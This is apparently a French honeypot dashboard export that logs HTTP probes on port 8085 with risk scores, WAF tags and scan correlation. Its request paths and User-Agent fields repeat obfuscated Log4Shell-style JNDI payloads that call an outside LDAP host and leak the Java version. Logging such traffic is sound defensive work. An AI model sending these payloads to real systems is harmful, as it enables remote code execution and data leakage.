"evidence_snippet": "ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m",
"attack_vector": "php injection \u00b7 via HTTP ALT 8085:8085 \u00b7 (tentative d'exploit)",
"target_port_label": "8085 \u00b7 HTTP ALT 8085",
"emulator_service": "http-alt-8085",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"classification_reason_label_fr": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP ALT 8085 \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 52,
"risk_label": "Moyen",
"service_name": "http-alt-8085",
"service_label_fr": "HTTP ALT 8085",
"dst_port": 8085,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http-alt-8085",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m",
"port": 8085,
"service": "http-alt-8085",
"service_label_fr": "HTTP ALT 8085"
},
"attack_vector": "php injection \u00b7 via HTTP ALT 8085:8085 \u00b7 (tentative d'exploit)",
"evidence_snippet": "ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m",
"target_port_label": "8085 \u00b7 HTTP ALT 8085",
"emulator_service": "http-alt-8085",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http_alt_8085",
"service_banner": "honeypot-http-alt-8085",
"service_os": "linux",
"dst_port": "8085"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"http-alt-8005",
"http-alt-8085"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"asn_dc_heuristic": true
}
31/07/2026 15:35:43 UTC
TCP
8085 · HTTP
Sonde port 8085/TCP
port 8085 tcp · via HTTP:8085 · (sonde / probe) · → /${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i…
Élevée
Moyen · 61
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}… UA ${${drb:-j}${1ze:-n}${4b3:-d}${c:jvy:-i}${k:-:}${u2m7:4:-l}${0r…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-/}${3:-/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l:-s}${p:a92:e:-:}${gcmx:-j}${85o:h:-a}${no:-v}${ui:412:ceg8:-a}${fo0:3qne:179d:-.}${t:4:-v}${d1m2:vr6e:1h9:-e}${9:1v:-r}${579j:t7:-s}${rq:v0:-i}${xvnk:6t1:-o}${l:te4x:dt9p:-n}}${xu:-.}${8r:2jeg:-e}${9:-7}${dljk:0dzt:djt:-d}${9jlb:-b}${7k:-8}${iba:znam:m8:-c}${
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8085
Chemin / cible
/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-/}${3:-/}${y:zpv3:4t7:-P}${o1p…
Preuve honeypot — Sonde port 8085/TCP
Connexion détectée sur le port 8085 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8085_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 61
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-/}${3:-/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l:-s}${p:a92:e:-:}${gcmx:-j}${85o:h:-a}${no:-v}${ui:412:ceg8:-a}${fo0:3qne:179d:-.}${t:4:-v}${d1m2:vr6e:1h9:-e}${9:1v:-r}${579j:t7:-s}${rq:v0:-i}${xvnk:6t1:-o}${l:te4x:dt9p:-n}}${xu:-.}${8r:2jeg:-e}${9:-7}${dljk:0dzt:djt:-d}${9jlb:-b}${7k:-8}${iba:znam:m8:-
User-Agent
${${drb:-j}${1ze:-n}${4b3:-d}${c:jvy:-i}${k:-:}${u2m7:4:-l}${0r:62e:6uwj:-d}${1jgx:i:-a}${djx5:-p}${p:-:}${jqo:2:-/}${t:7o:-/}${96e:-U}${g:4:j4:-A}${m:zfh:e:-l}${xap4:30a:9:-0}${v4bf:vh:684u:-c}${skf…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}
Requête brute (extrait)
GET /${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-/}${3:-/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${4:da:-g}${f:bn4:-o}${fba0:-o}${6pq:4q:knrp:-g}}",
"http_ua_hash": "b232b745cb801415083ea9b029ff6a28c0421eb9",
"http_host_hash": "8307e910dac7083f4f0d52abcc8375f89d55b254",
"http_target_hash": "021522046d4740a75ebfe67db2bd6ea269d00035",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.798691581271261,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8085,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.1,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 61,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "adc9835de445b982ed5ca0c6066289ab52928378",
"event_fingerprint": "6a95fac266a00e7a99c6a1c1f7674002d3c90256",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 61,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "053a5c1fc076d9d17e4d9f4e413b0adc",
"payload_hash": "ffca633783ff8fd3e512ffeede0cb4e7",
"path_pattern_hash": "0bbc32a8954be72c7c3818c61f9a4b0c"
},
"target_context": {
"dst_port": 8085,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"method": "GET",
"path": "\/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l:-s}${p:a92:e:-:}${gcmx:-j}${85o:h:-a}${no:-v}${ui:412:ceg8:-a}${fo0:3qne:179d:-.}${t:4:-v}${d1m2:vr6e:1h9:-e}${9:1v:-r}${579j:t7:-s}${rq:v0:-i}${xvnk:6t1:-o}${l:te4x:dt9p:-n}}${xu:-.}${8r:2jeg:-e}${9:-7}${dljk:0dzt:djt:-d}${9jlb:-b}${7k:-8}${iba:znam:m8:-c}${",
"user_agent": "${${drb:-j}${1ze:-n}${4b3:-d}${c:jvy:-i}${k:-:}${u2m7:4:-l}${0r:62e:6uwj:-d}${1jgx:i:-a}${djx5:-p}${p:-:}${jqo:2:-\/}${t:7o:-\/}${96e:-U}${g:4:j4:-A}${m:zfh:e:-l}${xap4:30a:9:-0}${v4bf:vh:684u:-c}${skfe:xv:--}${${o:-s}${mbq5:tx:-y}${gz:eq:-s}${nej0:uwqx:-:}\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l:-s}${p:a92:e:-:}${gcmx:-j}${85o:h:-a}${no:-v}${ui:412:ceg8:-a}${fo0:3qne:179d:-.}${t:4:-v}${d1m2:vr6e:1h9:-e}${9:1v:-r}${579j:t7:-s}${rq:v0:-i}${xvnk:6t1:-o}${l:te4x:dt9p:-n}}${xu:-.}${8r:2jeg:-e}${9:-7}${dljk:0dzt:djt:-d}${9jlb:-b}${7k:-8}${iba:znam:m8:-",
"payload_snippet": "GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}",
"evidence": {
"method": "GET",
"path": "\/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l:-s}${p:a92:e:-:}${gcmx:-j}${85o:h:-a}${no:-v}${ui:412:ceg8:-a}${fo0:3qne:179d:-.}${t:4:-v}${d1m2:vr6e:1h9:-e}${9:1v:-r}${579j:t7:-s}${rq:v0:-i}${xvnk:6t1:-o}${l:te4x:dt9p:-n}}${xu:-.}${8r:2jeg:-e}${9:-7}${dljk:0dzt:djt:-d}${9jlb:-b}${7k:-8}${iba:znam:m8:-c}${",
"user_agent": "${${drb:-j}${1ze:-n}${4b3:-d}${c:jvy:-i}${k:-:}${u2m7:4:-l}${0r:62e:6uwj:-d}${1jgx:i:-a}${djx5:-p}${p:-:}${jqo:2:-\/}${t:7o:-\/}${96e:-U}${g:4:j4:-A}${m:zfh:e:-l}${xap4:30a:9:-0}${v4bf:vh:684u:-c}${skfe:xv:--}${${o:-s}${mbq5:tx:-y}${gz:eq:-s}${nej0:uwqx:-:}\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l:-s}${p:a92:e:-:}${gcmx:-j}${85o:h:-a}${no:-v}${ui:412:ceg8:-a}${fo0:3qne:179d:-.}${t:4:-v}${d1m2:vr6e:1h9:-e}${9:1v:-r}${579j:t7:-s}${rq:v0:-i}${xvnk:6t1:-o}${l:te4x:dt9p:-n}}${xu:-.}${8r:2jeg:-e}${9:-7}${dljk:0dzt:djt:-d}${9jlb:-b}${7k:-8}${iba:znam:m8:-",
"request_sample": "GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l",
"payload_snippet": "GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "3ac5cdec8fc4148df91daf43039d5788d88a9bd3",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p\u2026",
"request_line": "GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${\u2026",
"http_user_agent": "${${drb:-j}${1ze:-n}${4b3:-d}${c:jvy:-i}${k:-:}${u2m7:4:-l}${0r:62e:6uwj:-d}${1jgx:i:-a}${djx5:-p}${p:-:}${jqo:2:-\/}${t\u2026",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}",
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i\u2026",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 61,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8085,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p\u2026",
"request_line": "GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${\u2026",
"http_user_agent": "${${drb:-j}${1ze:-n}${4b3:-d}${c:jvy:-i}${k:-:}${u2m7:4:-l}${0r:62e:6uwj:-d}${1jgx:i:-a}${djx5:-p}${p:-:}${jqo:2:-\/}${t\u2026",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i\u2026",
"evidence_snippet": "GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8085"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8005"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:42 UTC
TCP
8085 · HTTP
Sonde port 8085/TCP
port 8085 tcp · via HTTP:8085 · (sonde / probe) · → /${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:…
Élevée
Moyen · 61
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pj… UA ${${jb:-j}${2:5d:ew:-n}${h7:r70z:-d}${nhup:-i}${t92:-:}${z:j0:y…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-/}${5rq:-/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3l:-s}${n:k:-y}${oduv:5:l8:-s}${kvn:-:}${jen:q:fe6y:-j}${f9:e:5t:-a}${ox:nu:-v}${now9:vj:xb:-a}${t:o:-.}${n:b1:x:-v}${m:lk:-e}${n1kr:m:afj:-r}${icy:m9lp:5x:-s}${px:930e:-i}${a:-o}${n:-n}}${6h:-.}${nd:g:z:-e}${74:07g:-7}${tw:-d}${j8wo:zhc5:-b}${f7io:jzdm:-8}${5z
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8085
Chemin / cible
/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-/}${5rq:-/}$…
Preuve honeypot — Sonde port 8085/TCP
Connexion détectée sur le port 8085 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8085_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 61
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-/}${5rq:-/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3l:-s}${n:k:-y}${oduv:5:l8:-s}${kvn:-:}${jen:q:fe6y:-j}${f9:e:5t:-a}${ox:nu:-v}${now9:vj:xb:-a}${t:o:-.}${n:b1:x:-v}${m:lk:-e}${n1kr:m:afj:-r}${icy:m9lp:5x:-s}${px:930e:-i}${a:-o}${n:-n}}${6h:-.}${nd:g:z:-e}${74:07g:-7}${tw:-d}${j8wo:zhc5:-b}${f7io:jzdm:-8}
User-Agent
${${jb:-j}${2:5d:ew:-n}${h7:r70z:-d}${nhup:-i}${t92:-:}${z:j0:y:-l}${5l:f:-d}${kvmu:luqr:8o6e:-a}${096:0k:-p}${0q:0:bm87:-:}${vx5:o2yd:-/}${9bh:75:-/}${ols:i9:-U}${0:ievg:rl:-A}${5s1k:y:gqk:-l}${t630…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7
Requête brute (extrait)
